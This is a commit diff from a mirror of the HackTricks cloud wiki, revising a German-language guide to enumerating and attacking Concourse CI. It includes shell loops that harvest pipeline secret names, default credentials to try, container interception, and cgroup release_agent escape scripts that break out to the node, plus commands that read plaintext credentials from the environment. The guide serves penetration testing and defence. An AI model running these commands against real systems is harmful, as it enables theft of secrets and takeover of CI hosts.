gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-17 23:25:37 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

Browse Source
This commit is contained in:
Translator
2025-08-01 10:12:13 +00:00
parent 261da3a44c
commit 7ebe8a0caf
47 changed files with 473 additions and 291 deletions
Download Patch File Download Diff File Expand all files Collapse all files

64
src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
View File

@@ -1,18 +1,18 @@
# Concourse Enumeration & Attacks
## Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
## Concourse Enumeration & Attacks
### Benutzerrollen & Berechtigungen
Concourse kommt mit fünf Rollen:
- _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
- **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Team-Ressourcen**, können jedoch die Teameinstellungen nicht ändern.
- **member**: Team-Mitglieder können innerhalb der **Teamressourcen lesen und schreiben**, können jedoch die Teameinstellungen nicht ändern.
- **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
- **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
- **viewer**: Team-Viewer haben **"nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
> [!NOTE]
> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
@@ -34,12 +34,12 @@ Statische Vars können in **Aufgaben-Schritten** angegeben werden:
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Oder verwenden Sie die folgenden `fly` **Argumente**:
Or using the following `fly` **Argumente**:
- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), um mehr über Instanzvariablen zu erfahren.
- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle.
- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
#### Credential Management
@@ -57,7 +57,7 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Beachten Sie, dass Sie, wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
### Concourse Enumeration
@@ -75,26 +75,26 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde
- `fly -t <target> userinfo`
> [!NOTE]
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
#### Teams & Benutzer
- Eine Liste der Teams abrufen
- Eine Liste der Teams abrufen:
- `fly -t <target> teams`
- Rollen innerhalb des Teams abrufen
- Rollen innerhalb des Teams abrufen:
- `fly -t <target> get-team -n <team-name>`
- Eine Liste der Benutzer abrufen
- Eine Liste der Benutzer abrufen:
- `fly -t <target> active-users`
#### Pipelines
- **Liste** der Pipelines:
- `fly -t <target> pipelines -a`
- **Pipeline-YAML abrufen** (**sensible Informationen** könnten in der Definition gefunden werden):
- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Alle **konfigurierten Variablen** der Pipeline abrufen
- Alle **konfigurierten Variablen** der Pipeline abrufen:
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren):
- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -109,7 +109,7 @@ rm /tmp/secrets.txt
```
#### Container & Worker
- Liste **Worker**:
- Liste **Arbeiter**:
- `fly -t <target> workers`
- Liste **Container**:
- `fly -t <target> containers`
@@ -118,18 +118,18 @@ rm /tmp/secrets.txt
### Concourse Angriffe
#### Credentials Brute-Force
#### Brute-Force von Anmeldeinformationen
- admin:admin
- test:test
#### Aufzählung von Secrets und Parametern
#### Aufzählung von Geheimnissen und Parametern
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen**.
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
#### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -138,7 +138,7 @@ Mit diesen Berechtigungen könnten Sie in der Lage sein:
- **Die Geheimnisse** im **Container** zu stehlen
- Versuchen, zum Knoten zu **entkommen**
- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
#### Pipeline-Erstellung/-Änderung
@@ -197,11 +197,11 @@ SUPER_SECRET: ((super.secret))
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Ausbrechen zum Knoten von privilegierter Aufgabe
#### Escaping to the node from privileged task
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte.
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Node-Dateisystemgerät in /dev nicht sehen, sodass die Flucht "komplexer" sein könnte.
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen:
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird.
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des Befehls im Knoten geändert wird.
#### Escaping zum Knoten von einem Worker-Container
Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend:
Eine reguläre release_agent-Escape mit einer kleinen Modifikation reicht dafür aus:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -293,7 +293,7 @@ cat /output
```
#### Escaping to the node from the Web container
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, **läuft er nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
```bash
@@ -304,9 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Sie könnten diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
Sie können diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
In der Umgebung finden Sie auch Informationen zum **Zugriff auf die postgresql**-Instanz, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
In der Umgebung finden Sie auch Informationen, um auf die **PostgreSQL**-Instanz zuzugreifen, die Concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -332,7 +332,7 @@ select * from users;
> [!WARNING]
> Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben.
Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Web-Master verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Webmaster verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
- Er ist nur **lokal exponiert** (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver **mit jedem Garden-Dienst** innerhalb jedes Workers **kommunizieren kann**.
- Der Webserver **überwacht die laufenden Container alle paar Sekunden**, und **unerwartete** Container werden **gelöscht**. Wenn Sie also einen **benutzerdefinierten Container ausführen** möchten, müssen Sie mit der **Kommunikation** zwischen dem Webserver und dem Garden-Dienst **manipulieren**.
@@ -353,7 +353,7 @@ Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knot
> [!NOTE]
> Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen.
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers, wenn ein neuer Container zum Ausführen von etwas erstellt wird, vom Worker-Container aus zugänglich sind. Es ist also wie ein Container, der einen neuen Container in sich erstellt.
**In einen laufenden privilegierten Container gelangen**
```bash
@@ -411,6 +411,6 @@ Accept-Encoding: gzip.
```
## Referenzen
- https://concourse-ci.org/vars.html
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}